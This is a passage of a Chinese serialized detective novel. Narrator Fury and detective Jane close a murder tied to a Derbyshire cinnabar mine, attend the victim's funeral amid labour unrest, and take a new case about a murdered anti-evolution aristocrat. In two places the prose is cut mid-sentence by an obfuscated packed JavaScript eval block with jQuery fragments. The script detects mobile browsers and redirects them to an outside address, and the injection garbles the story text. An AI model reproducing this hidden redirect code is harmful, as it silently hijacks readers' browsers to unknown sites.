简就站在大厦门外不远处，背靠着路灯柱，微微侧着头。她那一头利落的短发在阳光下勾勒出清晰的轮廓，整个人仿佛逆着光，却自成一道风景。她正低头，点燃了一支细长的草药烟，略带苦味的清香随着青白色的烟雾袅袅散开。 她似乎察觉到了我的视线，抬起头来。她看到我脸上可能还未完全散去的愠怒，以及我那算不上优雅的、几乎是冲出来的步伐。 她没问我发生了什么，只是嘴角轻轻一扬，将那支烟从唇边拿开掐灭。 “弗瑞。”她叫我的名字，声音平静，带着她特有的、能让人安心下来的力量。 就那么一声，我胸口的那些堵着的因格登那番言论而燃起的无名火，忽然就消弭了大半。 我深吸一口气，朝着她，朝着那缕草药烟的清净味道走去。 每一步，都像是从那个陈旧刻板的世界，真正走回属于我们的、开阔的天地。 65.7.4 “没事吧？”简问我。 我摇了摇，“杰弗里·格登，满口都是传统和得体，但他应该不会是凶手。” 简点了点头，似乎并不意外。她看向我身后，“怀特呢？” “他还在里面，说再和格登确认几个细节上的时间点。” 我话音刚落，就见怀特警探从大厦门口快步走了出来，眉头微锁。 “有发现？”简立刻问。 怀特警探走到我们身边，语气带着谨慎，“格登先生后来态度稍微缓和了点，大概看我是警探，又同是……嗯……他抱怨了不少生意上的事，尤其是原材料供应的问题。” “原材料？”我捕捉到这个词，想起了那些化学仪器和雅顿小姐的事业。 “对，”怀特警探确认道，“他提到他们传统口红里一种很重要的红色颜料，最近供货非常不稳定，主要供应商那边好像出了什么状况，联系不畅，交货也迟了，让他很头疼。他说‘也不知道德比郡那边矿上搞什么鬼’，听起来颇为恼火。” “德比郡？矿？” 简敏锐地抓住了这两个词，“他提到是哪家矿场或者具体是什么原料了吗？” “那倒没有明确说，”怀特警探摇摇头，“他只含糊地说是‘老供应商’‘传统的矿物颜料’。但结合雅顿小姐的案子……”他停顿了一下，看向我们，“那种鲜艳的红色的传统原料……” “朱砂。”我和简几乎同时低声说出口。 雅顿小姐的安全口红之所以成功，正是因为它摒弃了传统口红中这种有毒的含汞着色剂。 她的崛起，直接冲击了这类原料的需求。 “一个矿主……的确有可能…”我思考道。 有动机，而且，拥有最直接获取凶器的手段。 “怀特，这个方向值得深挖。通过苏格兰场或工商记录查一下，最近是否有德比郡的矿物颜料供应商，尤其是供应朱砂的，出现异常情况？比如经营困难、主事人行为异常、或者近期来过伦敦？” “回苏格兰场就安排人去查。”怀特警探立刻点头，“如果真有这么一个人，而且近期在伦敦出现过……” “那他就必须好好解释一下了。”简接道，语气冷静却带着力量，“走吧，我们先回去。” …… 埃米莉·雅顿小姐的尸体停留在苏格兰场都尸检室里。 我们第一次真正见到艾米莉·雅顿小姐。 她静静躺在冰冷的台面上，覆盖着白布，只露出惨白却依旧能辨出生前样貌的脸。冷气氤氲，给她的轮廓蒙上一层不真实的微光。 简和我站在观察窗前，目光沉沉地落在雅顿小姐了无生息的脸上。 正式的尸检报告稍晚些送到了我们手上。 读者们，之前说过，雅顿小姐先是被打晕了过去，之后才是遭受了密室和毒气。 报告显示，打晕雅顿小姐的凶器被推断为某种粗糙坚硬的物体，边缘并不锋利，但足够沉重。而在她的头皮破损处和发丝间，法医发现了些许极不同于常见沙尘的红色碎屑。 就是我们所发现的那种……朱砂。 “用原矿石……”我低声道，几乎能想象那沉重的一击。 “嗯。”简的指尖轻轻点着报告上那一行结论，“凶手没用提炼好的纯朱砂粉，甚至没用什么精加工过的工具。而用了最原始的东西，从矿里直接挖出来的石头。” 用雅顿小姐所要替代的朱砂的矿石和毒气来进行谋杀！ …… 怀特警探那边的调查很快有了方向。 工商记录和行业内的询问交叉比对，线索迅速收拢，指向德比郡一个有着百年开采历史的矿场，以及它的现任主人。 巴特·克劳利。 资料显示，克劳利家族世代经营着那里的朱砂矿和铅矿。 近几个月，克劳利名下的矿业公司业务萎缩严重，多次向同业抱怨新型合成颜料的冲击，言辞激烈。 更有铁路公司的记录表明，巴特·克劳利本人于案发前三日抵达伦敦，入住一家并不起眼的旅馆，案发次日清晨便匆匆离开。 怀特警探将一张略显模糊的照片推到我们面前。 照片上的男人站在矿坑边缘，背景是灰蒙蒙的山峦和粗陋的支架。一个高大粗壮的男人站在坑口附近，穿着昂贵但款式陈旧深色西装，与身后粗砺的环境形成突兀的对比。照片上的他约莫四十多岁，脸庞被风霜和劳作刻出了深深的纹路。最引人注意的是他那双手，即使照片模糊，也能看出指节的粗大和异于常人的粗糙，那是常年与坚硬矿石打交道的印记。 “他有动机，有获取凶器最直接的途径，而且时间点完全吻合。”怀特总结道，目光投向简，等待下一步指示。 简的指尖在桌面上轻轻敲了一下，发出轻微的声响。“找到他。德比郡，或者任何他可能去的地方。带他来伦敦问话。” “明白。”怀特警探收起简报，转身快步离去。 办公室里短暂地安静下来。 窗外伦敦的喧嚣隐隐传来，却更衬出室内的沉寂。 我的目光再次落在那张照片上。 巴特·克劳利站在那里，像一块从古老地层里直接掘出的矿石，沉重坚硬，带着属于另一个时代的蛮荒气息。 读者们，我不知道要怎么说，我并没有去参与苏格兰场德比郡的行动，但我写这个故事的时候，我认为那很重要。 所以下面的，是我按照我们的朋友怀特警探的诉说所写的。 “他没有任何的抵抗，也没有歇斯底里……” 怀特警探跟着两名当地警员在昏暗的矿道深处找到巴特·克劳利时，他正弯腰检查一段新开的矿脉。 安全帽上的灯束在潮湿的岩壁上晃动，照亮了他瘦弱的身形和那双永远沾着矿粉的大手。 他直起身，看向来人，脸上没有太多意外，只有深重的疲惫。 “巴特·克劳利？”怀特出示了证件。 克劳利的目光扫 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读者们，后来我也曾去见过劳利先生，如果不是知道，我也完全无法将面前的人与我见的那个照片上粗壮的男人联系起来。 他劳作在矿业的第一线，雅顿小姐竭力避免的毒性，早就已经深入他的骨髓。 “好。”怀特警探说，克劳利只说了这一个字。没有反抗，没有质问。 他弯腰，从工具袋旁拿起那件旧西装外套，仔细拍打了上面灰尘，然后郑重地穿上，试图扣上扣子，但那因劳作而变形的身躯和颤抖的手指让他试了两次才成功。 他跟着怀特他们往外走，脚步沉稳。快到矿洞口时，光线逐渐增强，他不得不眯起了眼。 “我们的矿……挖了一百多年了。”法庭审判的时候，克劳利先生说。 “矿没了，地就死了。人……也得死。”他顿了顿，那双粗糙的手微微握紧，又松开，“矿要有出路……工人们也要有出路…” “以前多好啊…伟大的工业、绘画甚至教堂的彩绘玻璃……那么多年，从来没有什么问题！可如今却毁在了“女人的虚荣”上，所有人都叫嚣着我们的东西有毒！” “那么多年了…所有人都靠着…她为什么非得指出来呢？” 他没有再继续说下去，只是深吸了一口气，走完了他的最后一程。 他没有否认，甚至没有询问指控他的证据。对他而言，那场发生在伦敦光鲜实验室里的死亡，或许只是另一场更为宏大、更为绝望的生存斗争的必然结局。 他用他矿里的石头，用他矿里藏匿的古老毒性，完成了一次同归于尽般的反击。 读者们，有时候，最可怕的不是贪婪，而是当你剥夺了一个人赖以生存的全部意义后，他所爆发出的那种平静的、毁灭性的绝望。 他知道汞有毒，他自己也正被那毒素缓慢地杀死，但他依然举起了那块矿石，释放了毒气。 因为那不仅仅是石头，是他以及无数相同的人的一切。 66.7.5 埃米莉·雅顿小姐的葬礼办的盛大且肃穆。 阴沉的天空低垂，仿佛也参与了这场哀悼。 墓园里聚集了众多身影，绝大多数是女性。她们穿着深色衣裙，面容肃静，自发地聚在一起，陪同了这位令人钦佩的雅顿小姐的最后一程。 神父站在前方，他的黑色长袍被微风轻轻拂动。 他展开手中的经书，声音低沉而平稳，回荡在寂静的空气里。 “让我们祈祷。 慈悲的上帝，我们的避难所和力量，求祢安慰所有因这巨大损失而哀恸的人。 赐予他们祢那出人意外的平安，这平安是世界无法给予，也无法夺走的。 求祢帮助我们铭记埃米莉·雅顿小姐的生命与恩赐，并赋予我们勇气，能在这充满阴影的世界上，继续传播祢的光明与真理。 这一切的祷告，是奉我们复活的救主耶稣基督的名求。阿门。” 我和简站在人群中，随着人流缓缓向前移动。 这些祷词我听过无数次，在各种各样的葬礼上。 它们古老而不变的抚慰，此刻听来，却字字清晰，沉重地敲击在心上。 它们为生者祈求一种人世无法给予的平安，一种与世界无关的、内在的宁静。 我们垂着头，听着那些字句，每一句都像是对逝者一生的遥远回响。 也是在这场葬礼上，我真正见到了克拉拉·黛丽·李小姐。 她站在人群最前方，离棺木和墓穴最近的地方。 一副宽大的黑色墨镜遮住了她大半张脸，只露出紧抿的嘴唇和线条紧绷的下颌。她穿着一身剪裁极佳的全黑裙装，周身被疏离而冷峻的悲伤笼罩。四五位身材高大的保镖沉默地围在她四周，形成一道无形屏障，将她和汹涌的哀悼人潮隔开。 仪式暂歇，她走上前，将怀中一束纯洁饱满的白玫瑰轻轻放在覆盖着泥土的棺木上。 然后，她决然转身，在保镖的护卫下离开。 在最后的时候，我注意到她又回头，可是她只能往前走。 人潮和职责推着她，她只能往前走，走向等待她的汽车，走向没有埃米莉·雅顿的未来。 …… 瑞秋儿小姐和她的姐妹们也参与了葬礼。 她们没有穿得灰暗模糊，相反，她们都穿着自己最好的衣服，料子或许普通，但熨烫得平整。 她们的脸上都施了妆，尤其是嘴唇，涂抹着最鲜艳夺目的红色。 那不是轻佻，那是一种宣言，一种用尽全力的尊严。 她们要以自己最美丽、最鲜亮的状态，来送别这位曾给予她们不同意义上“安全”的女性最后一面。 人群稍散时，我走近她。她还那么年轻，眉眼间的稚气尚未完全被风尘掩盖。 “你之后……有什么打算？”我问得有些艰难，深知这个世界给予她的选择并不多。 她似乎愣了一下，随即露出一个近乎本能的笑，那笑容像是练习过千百次，用来应对所有关切的、好奇的或轻蔑的打探。“回红星会馆……” “我可以帮你…你…”我忍不住说。 她摇了摇头，那个笑容变得真切了些，也更苦涩了些。“不…你帮不了你…小姐…” 她顿了顿，目光越过我，望向不远处等待她的那群姐妹，她们聚在一起，像一群依靠彼此体温抵御寒冷的鸟儿，“我的同伴在等我。” 读者们，我可能永远都会记得她最后的那个笑容。 那不是单纯的悲伤，也不是纯粹的乐观。 那里面有认命的苦涩，有看透后的洒脱，更有面对无边无奈生活时的惊人无畏。 她转过身，毫不犹豫地朝她的姐妹们走去，走向那个注定充满艰辛、需要不断涂抹鲜艳口红来掩饰苍白的生活。 之后的日子，也许仍旧是在昏暗的舞厅里跳舞，仍旧是每晚卸下浓重的妆容，第二天再仔细画上。 循环往复，直至衰老或幸运降临。 也许很多年后，我们都会老去，记忆会变得模糊，照片会泛黄。但文字记住了这一刻，记住了我们曾因为一位非凡的女性而聚在这里，记住了瑞秋儿小姐转身时那个复杂的微笑。 葬礼之后，埃米莉·雅顿小姐倾注心血发明的安全口红，终于在克拉拉·黛丽·李小姐的全力推动下，开始了大规模的生产和发售。 报纸上刊登了广告，百货公司设立了专柜。 它不再是最初那昙花一现、只存在于实验室和少数人手中的昂贵样品，不再是贵妇沙龙里竞相追逐却求而不得的传说。 它被定价在一个相对合理的范围，产量稳定，任何一位普通女店员、女工、女教师，只要愿意，都能轻松地拥有一支。 它被装在简洁的金属管里，旋开，膏体是饱满而坚实的红色。 那种红，鲜艳，漂亮，夺目，毫不含蓄。 它理直气壮地宣告自己的存在。它属于所有女性，无论阶层，无论职业。 这股红色的风潮，悄然又迅速地席卷开来。 就连一向不施粉黛的简，都开始使用口红了…… 那天，她提着两个熟悉的袋子回来。 “弗瑞，送你的。”她将其中一个包装好的口红送给我。 “嗯？谢谢。你…这是…”我的疑问还未完全问出口，便看见她已经自顾自地拿出另一个完全相同的纸盒，拆开包装，拿出那支纤长的金属管。 她旋开它，动作甚至有点生疏，露出了那饱满坚实的红色膏体。 她没有立刻涂上，只是用手指轻轻抚过膏体表面，像是在确认某种真实性。然后，她才转向那面有些模糊的旧镜子。 “就当我听你的话，打扮一下？”她只是简单的笑着说。但那笑容很快收敛了，她凝神看着镜中的自己，将口红仔细地涂上。 那抹红色出现在她一向素净的脸上，效果是惊人的。 并非不美，而是一种强烈的、近乎宣言式的存在感，一下子打破了她脸上惯有的冷静与疏离，增添了一种灼人的生气。 读者们，我当然知道不是因为如此简单的原因。 窗外的世界正在发生变化。 越来越多的女性，开始用这种鲜明的色彩装点唇瓣。 她们也开始剪短累赘的长发，穿上便于活动的衣衫，拿着标语，成群结队地走上街头，为自己的权益呐喊，声音清晰而坚定。 或许口红从来不只是化妆品。 它是女性的选择，是弱者的宣言。 是让整个时代俯身倾听的，一句猩红的呐喊。 时代在剧变，我从未如此真实的意识到。它隆隆作响，从四面八方袭来。 然而，并非所有角落都沐浴在变革的光照下。克劳利先生的行为并不正确，可他的呐喊又并非没有道理。 德比郡的矿业仍在继续，巨大的机械啃噬着黑色的矿藏。但来自国内外的订单大幅缩水，利润薄得可怜。 格登公司依旧定期向矿区进货，却凭借着垄断地位不断地、无情地压价。 矿工们被迫延长工时，在更危险的境况下没日没夜地工作，只求保住那勉强糊口的微薄薪水。 听怀特警探说，有许多的工人开始罢工…有年轻的工人开始背井离乡… 伦敦的人更多了…更嘈杂了…像一锅被不断添水加柴、即将沸腾的水。 希望与绝望在这里碰撞，发酵，散发出一种不安的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205144|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气息。 当我写这段文字的时候，伦敦正在经历一场黑色的大雾… 伦敦总是如此。用这种方式提醒人们它的存在，它的复杂性。 在一片模糊的昏黄之外，声音却穿透进来。 那是抗议者整齐而愤怒的口号声，间歇着，似乎还有玻璃碎裂的尖锐声响。 在这之外，更隐约的，是压抑不住的、断断续续的哭声。 窗外有抗议者。 有人在哭。 简放下了手中的的东西，看向我，“弗瑞。” 我想，我应该暂时放下笔，走入其中了，走入那一片迷茫的、哭着的、喊着的大雾中去。 …… 门在我身后合上，发出沉闷的轻响。 那哭声不再隐约，它变得具体，是年轻女声的力竭，被淹没在更庞大的、男人们愤怒的吼声里。 “公平！”“平等！”“面包！” 简走在我身侧，没有说话，只是将一条薄围巾递给我。 我接过，围在口鼻处。我们相视一眼，便步入了人流。 雾比在窗后看到的更浓，它不再是景象，而是实体。它粘在皮肤上，钻进肺里，让每一次呼吸都带上重量。 人影在昏黄的光晕里晃动。标语牌在雾气中忽隐忽现。 我们并非走向他们，而是融入他们。 一个女孩撞到了我的肩膀，她大概和瑞秋儿一般年纪，脸上没有精致的妆容，只有被泪水冲出沟壑的煤灰与愤怒。 她手里没有标语，只是徒劳地攥着拳头，朝着某个看不见的方向嘶喊，她的声音加入那片巨大的声浪，立刻被吞没，成为它的一部分。 我看见了我们的朋友，怀特警探。 他站在街角，没有穿制服，只是一件皱巴巴的旧外套。 他双手插在口袋里，眉头紧锁，看着眼前涌动的人群，像是一个看着潮水却无力阻拦的守夜人。 他的目光扫过我，短暂地停留，然后移开。他并非敌人，他只是另一个被夹在中间的人。 简碰了碰我的手臂。 她指向不远处，几个面色黧黑的男人们正试图将一位几近虚脱的老妇搀扶到路边。 他们的罢工不只是为了更高的工钱，或许也为了能活着看到孩子不再需要下矿的那一天。 而我们，我们在这里，又是为了什么？ 口号声依旧震耳，但那哭声，我再也分辨不出了。 它已经消散，或者说，它已经渗入了每一个人的呼吸里，变成了这巨大抗议声中那无法剥离的悲怆底色。 我没有喊口号。 我只是站着，看着，感受着这雾，这声音，这颤抖的土地。 存在，本身即是一种立场。 格登公司那冰冷高大的办公楼，就在雾气的尽头，若隐若现。它或许以为这只是一阵很快就会过去的喧嚣。 但它错了。 时代的车轮之下，没有人能真正置身事外。无论是写下它的，还是走入它的。 雾更浓了。而我们的路，才刚刚开始。 …… 或许我们都会老去，记忆会模糊，照片会泛黄。但文字记住了那些时刻，记住了无数曾奋斗或者正在奋斗的人们。 而口红管在一次次的旋出与退回中，终会耗尽。 但没关系。总会有人，在实验室里，在工厂中，在书桌前，再次将它填满。 那抹红色，永远不会在这片土地上绝迹。 它会一次次被点燃，被涂抹，被看见。 成为吻，成为伤口，成为呐喊。 成为历史沉默卷轴上，一枚永不褪色的、猩红的签名。 …… 67.8.1 我记得那是伦敦七月的某一天，是难得的好天气。 我在事务所写着最近案子的笔记，而简一直忙着的事情似乎解决了，安静地坐在小沙发上看书。 小麻雀，这个机灵的小男孩，给我们送了来了最新的各家报纸，在收了一先令之后，就蹦蹦跳跳地找老滴答去了。 读者们，我想我还是要写一下的，伦敦的各家报纸所刊登的消息，一般情况下，还是不太一样的。但是那天，几乎各家的报纸都刊登了同一则消息。 内容如下。 致公众良知——一份庄严的宣言与邀请 埃兹拉·皮尔斯爵士阁下撰文 今日之不列颠，乃至整个文明世界，正立于悬崖之边缘。一场瘟疫正悄然蔓延，它毒害着我国青年的心灵，动摇着社会赖以存续的根基！ 此瘟疫，名曰“进化论”！ 此危险思想，以其粗鄙的唯物论调，企图将人类——上帝依自身形象所造之杰作——贬低为与猿猴同源的偶然产物！ 它抹杀了造物主的荣光，践踏了《圣经》的神圣启示，带来了无法想象的混乱！看看我们周围吧！年轻一代叫嚣着科学！不再信仰上帝！放浪形骸！一切根源皆可追溯至达尔文先生那一套将人兽化的危险猜想！ 吾辈岂能坐视不管？岂能任由这知性上的叛乱摧毁历经数个世纪建立的基督教文明大厦？ 故此，吾，埃兹拉·皮尔斯，将以一个忠实臣民与上帝仆人之身份，于众目睽睽之下，发起一场庄严的“审判”！ 吾将资助并召集正直之士，于本月十五日，星期六下午三时整，在阿尔比马尔街的皇后大厅，对“进化论”这一谬论进行彻底的揭露与批驳。这将非一场平淡的学术辩论，而是一场关乎国家灵魂存亡的模拟审判！我们将以理性与信仰为武器，将这一邪恶学说押上被告席，历数其罪状，呈现其虚妄，直至将其彻底“处决”于公共舆论的法庭之上！ 届时，将有德高望重之人士出任法官，正直的神学家将作为控方，无情地揭露其矛盾与危害。我们亦会慷慨地给予辩护方发言之机会，让他们那苍白无力的理论暴露于阳光之下，接受公众睿智的审视。 吾呼吁所有忧心世风、珍视传统、忠于上帝与国王的伦敦市民莅临现场！ 前来见证正义得以伸张！前来捍卫我们子孙后代的未来！！让我们以行动表明，不列颠的精神永不屈服于那些将人降格为兽的虚无理论！ 入场免费，席位有限，道德立场坚定者优先。 上帝佑我国王，佑我帝国，佑我信仰！ 埃兹拉·皮尔斯爵士阁下 K.C.V.O.（皇家维多利亚勋章骑士指挥官） 皇家学会会员 于伦敦，俱乐部。 事实上，达尔文与上帝的斗争一直在持续，但搞得这么大张旗鼓的，埃兹拉·皮尔斯爵士还是头一个。 一时让我不知道怎么评价。 我将信息告诉了在看书简，她给出的评价十分的辛辣，“古板且刻薄的跳梁小丑。” 虽然这样子说一个人不太好，但是不得不说，简说的是对的。 可能有读者不明白，我还是解释一下吧。 埃兹拉·皮尔斯爵士(Sir Ezra Pierce) 一位年迈、富有且极其固执的贵族，皇家学会的成员（但更因他的财富和地位而非科学贡献）。 他总是穿着过时但做工精良的礼服，手持银头手杖出现在各个他认为符合身份的公众场合。并且在报纸上还有公共场合大肆的发表观点。将战后的各种问题都归咎于进化论等“危险思想”的传播。并且公开羞辱和威胁了无数的年轻科学家。 模拟审判？ 皇后大厅？ 到时候两边的人都会去。皮尔斯那帮狂热的拥趸，还有那些年轻气盛、拥护科学的学生伙计们。把这两拨人塞进一个屋子里，听着台上的人把对方骂成魔鬼和白痴？ 我简直不敢想如果审判真的发生，到底会是什么混乱的鬼样！ 这根本不是在解决问题，这是在制造一场表演，一场斗兽场表演！就为了满足那个老家伙那点可怜的虚荣心和所谓的‘捍卫’！ 我和简都不太愿意参与这种毫无意义的表演，但令人没有想到的是，这个模拟审判并没有成功完成。 因为，埃兹拉·皮尔斯爵士，被谋杀了。 在“审判”的中场休息时，被发现死于他的私人休息室。凶器是他自己手杖的银质手柄，重击了他的后脑，上半部分被凶手拆下带走了，至今尚未找到。现场布置得有一种仪式感，他的身体被摆成类似“沉思者”的姿势，一本初版的《物种起源》放在他的桌前。 凶手被怀疑是阿瑟·梅里克博士(Dr. Arthur Merrick)。 一位冉冉升起的年轻进化生物学家，他是“审判”中进化论的主要辩护人，也是死者的主要敌对者，与死者有过激烈的公开争吵。 有仆人的口供表明，他有出现在埃兹拉·皮尔斯爵士的私人休息室附近，且他具有明确的动机。 苏格兰场迅速的将他带走问讯，但是没有找到凶器，也没有任何证据，可以证明阿瑟·梅里克博士就是凶手，此外，发生了一件极其戏剧性的事情，导致苏格兰场不得把他放了。 当然这件极其戏剧性的事情，也极大地扰乱了调查进度。 就是兰林·科尔夫人(Mrs. Lanlin Cole)，审判的承办者之一，一个灵媒和神秘学爱好者。跑到了苏格兰场去自首，坚持认为爵士的死亡是“更高精神力量”通过她实现的。 这简直是无稽之谈！ 因为根据苏格兰场的调查，这位夫人，当时正在众目睽睽之下表演所谓的降灵，根本就没有到过爵士的私人休息室附近。 但她就是宣称，这是降灵成功了，这是更高存在的显灵。 闹剧持续了很久，报纸上每天都在刊登着最新的消息，凶手始终没有找到，而阿瑟·梅里克博士则是背上了杀人犯的头衔。 读者们，你们想想，如果你的身边有人被怀疑是杀人犯，即使他说了不是，是不是还是会感到害怕？感到不信任？感到恐惧？哦…当然，你了解他的为人，但是，但是万一呢？ 可怜的阿瑟·梅里克博士，事业几乎是一落千丈，还要承受来自同事，上司甚至是整个社会的一个猜忌。 这简直是要把他逼疯了！ 案情发生不过短短三天，他就跑遍了伦敦大大小小的侦探事务所，希望有人能查明真相，找出凶手，还他清白。 最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236201|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终，他找到了简和我。 “我确认一遍，人不是你杀的，对吗？”简的手敲击着桌子，带着一种无名的压迫，她问。 我保持安静，观察着这个先生，胡子拉渣，面容憔悴，听见简的问话，他尽量挺直了自己的脊背，坚定地说：“是的，侦探小姐，我真的不是凶手。” 简凝视着他，他们对视着。 “好吧，这个委托，我们接了。”简说。 我走上前，给阿瑟·梅里克博士递了一杯热茶，然后打开了屋子里大灯。简在继续询问这位先生，但整体的氛围却缓和了下来。 “你在案发的时间段出现在了死者所在的私人休息室附近，你要做什么？看到了什么？”简看着手里的档案问。 可怜的阿瑟·梅里克博士，可怜人是经受过太多次苏格兰场的盘问，几乎要形成肌肉记忆了。 “警…不…侦探小姐们，我到那附近是因为我想去找皮尔斯爵士阁下，那个审判太混乱了，它并不公平，我不能让他就这样子毫无波折的办下去，然后得到一个他们想要结果。” 我为他添了些热茶，瓷杯边缘升起氤氲的白气。灯光驱散了角落的阴影，却驱不散他眉宇间的疲惫。 “我明白，”简的声音缓和下来，指尖仍无意识地轻叩桌面，“你当时究竟看到了什么？” 梅里克博士双手捧着茶杯，仿佛汲取着那一点温度。“休息室在走廊尽头，门外站着皮尔斯先生的私人秘书。我走过去时，皮尔斯的几位……支持者正聚在附近交谈。”他顿了顿，声音里带着压抑的激动，“他们看见我，说了些不太客气的话。我不想在那种时候争执，便没有停留。” “您没有进入休息室？” “没有。我甚至没能靠近那扇门。那些人在走廊里形成了一道人墙，几乎是故意挡着我的路。我听见皮尔斯在里面高声说话，似乎情绪很激动，像是在和谁争论。” 简与我交换了一个眼神。苏格兰场的报告里并未提及这段可能的争吵。 “您能听清内容吗？或者辨认出另一个声音？”我问。 他摇了摇头，苦涩道：“门很厚，外面也不安静。我只隐约听到几个词……‘后果’，‘绝不容忍’，还有……‘遗产’？我不确定。” 我拿起笔，在笔记本上记下这几个词。窗外，伦敦的暮色正缓缓来临。 “然后呢？”简问道。 “然后我就离开了。”他叹了口气，“中场休息时间有限，我知道那天不可能与皮尔斯先生正常对话了。后来……后来就传来了消息。” 房间里安静下来。我看见简的目光落在档案的某一页上，那里记录着现场那本《物种起源》的细节。 “博士，”她突然问道，“您对那本书有什么看法？” 梅里克愣了一下，随即明白过来。“那本书……放在那里很古怪。皮尔斯绝不会自愿捧着《物种起源》思考。他是个绝对的反对者。” “如果是凶手的安排呢？” “那是一种嘲讽。”博士的声音变得低落，“或者…是一种误导。” 简合上档案。 我站起身，“好的，梅里克博士，不用担心，回去好好休息，一切都会变好的。” “嗯。”他走入了伦敦的夜色中，等待着第二天的黎明。 68.8.2 “可怜的人。”我忍不住这样感叹。 其实除了梅里克博士出现在休息室附近，整件事情似乎几乎和他没有任何关系。 可他就那样子被怀疑，背上了凶手的名头。 “可能有人需要他是凶手？”简点点头，顺手从风衣口袋里掏出了一盒草药烟和一支打火机。 没等她下一步动作，我走近几步，“简，你答应过我的？” 桌子上是散乱的文档，台灯照耀着，我从她手里拿过打火机。 “…新的，我不常…”简有些心虚。 我看了看那精致的打火机，笑了笑，顺手塞进了我的手提包里，“好了，简，我想，我们应该回家了。” 我拉着她起身。 时钟滴答转动，老滴答在身后朝我们挥手。 …… 第二天的时候，我们并没有去事务所，而是直接去拜访了皮尔斯府邸。 哦…是的，很不幸埃兹拉·皮尔斯爵士阁下遭受了这样可怕的事情。 但是，皮尔斯府邸永远不缺主人。 他的侄子，同时也是他的继承人的小皮尔斯先生，奥利弗·皮尔斯，迅速搬进了皮尔斯阁下的府邸。 我想，他的确是最想要案子早点结束的人之一。 同时，他也是案子的另一个嫌疑人。 “遗产…” 梅里克博士听到的争执，极有可能是死者和奥利弗·皮尔斯的。 …… 皮尔斯府邸就像我参加去过的任何相同身份地位的人的府邸一样，奢华又无趣。 奥利弗·皮尔斯没有任何失去亲人的悲痛，只有即将继承巨额遗产的欢喜。 读者们，我说过的，即使埃兹拉·皮尔斯爵士阁下在科学上并没有多少建树，但他有足够的钱财。 大厅里忙碌着许多人，忙着清算的律师、估价师，奔走的仆人们，只有奥利弗·皮尔斯无所事事地享用着最新鲜的葡萄。 “呵。”简明显压着性子。 我只好拉了拉她。 “皮尔斯先生，非常感谢您愿意…百忙之中…抽出时间…” 一阵寒暄，还有无意义的对话之后，简已经不知道去了哪里。 我看着我的笔记本，奥利弗·皮尔斯先生十分坦诚，坦诚到我不知道怎么说。 “我肯定需要那老东西的遗产…” “我对那些学术的东西不敢兴趣…” “happy…party…” 上面几乎是这位特立独行的先生的原话。 他也承认是他和埃兹拉·皮尔斯爵士发生的争吵，“没办法啊！我需要钱！他办这个什么审判，我什么都没有！” “感谢上帝。让我可以继承…” 读者们，我只能说，这位先生，是很典型的浮夸公子，用《每日邮报》上的说法，就是“Bright Young Thing”。 他有着自己的想法。对于他叔叔的死，他不关心也不在意。对于我的询问，虽然不满，但也还算有礼貌。 “谢谢你，小姐，希望案子能够早日告破。我等会还有个聚会，很抱歉…” “不…是我们打扰了。”我起身，笔记本塞入手提包里，却发现简还没有回来。 “请问？有看见我的同伴吗？”我拉住一个仆人问。 “那位小姐在…原老爷的藏品室，我带您过去。” 藏品室离大厅不远，算不上人来人往，但也有很多西装革履的人。 奥利弗·皮尔斯先生显然对他叔叔的藏品不屑一顾，巴不得赶紧换算成实在的英镑。 在仆人的引领下，我老远就看到了简。 她半只手撑在台子上，低头看着里面的东西，有一搭没一搭地听着旁边一位小姐的介绍，时不时点一下头。 说实话，让我想起来她应付那位热情的销售员小姐，当她想知道什么东西的时候，她总是这样子。 “弗瑞！”没等我走近，简就注意到了我，朝我朝手。 我快速小跑了几步，“你在这看什么？这位小姐是？” “我是贝拉·克罗夫特，小姐，您好。” “您好，我是弗瑞·本。”我伸手握了一下。 贝拉·克罗夫特小姐瘦瘦高高的，带着一个黑框眼镜，看起来聪明且安静。也确实如此。 当我和简看向展台的时候，贝拉·克罗夫特小姐会适时的给我们讲解。 简之前在看的，展台里面的东西，是化石。 事实上，皮尔斯府邸里的藏品室有化石并不奇怪。 埃兹拉·皮尔斯爵士就是依靠关于过渡化石的关键研究成果在学术界彻底稳固了地位。 也是他少有的、拿得出手的学术成果。 “岁月历经千万年的演变留给我们的痕迹。我们可以在上面见证…”贝拉·克罗夫特小姐的声音缓缓道来。 她的确博学多才，谈吐优雅。 到后面，我几乎是光听着贝拉·克罗夫特小姐用她深入浅出的语言给我讲解各种各样的古生物，过渡化石等等。 “唉，贝拉小姐，你好厉害！”当时我是这么夸赞贝拉小姐的。 即使到了我写这个故事的现在，我仍然认为，贝拉·克罗夫特小姐是一位非常厉害且优秀的女性。 她在伦敦大学学习，有着古生物学和古典文学的学位证明，对于“达尔文与上帝之争”有着自己的看法。 与她的交谈让我很开心，简一如往常地没有说什么。 等我拉着简离开，回头时，我注意到贝拉小姐静静地看着那些化石。旁边有估价师走上前。 …… “她是埃兹拉·皮尔斯的私人秘书兼藏品管理员。”等我们走远一点的时候，简突然说。 “你怀疑她？”我立刻知道了简的意思。 “她有嫌疑。”她应道。 沉默。 不可否认。 我向前走，简和我一起。 接下来是去案子的另一位嫌疑人那里。 我已经会开车了，那么长时间，人总是要有一点进步的，不是吗？ “简，好好休息一下，到了叫你。”我和简说。 简只是笑笑，乖乖地闭目养神。 她真的很累。 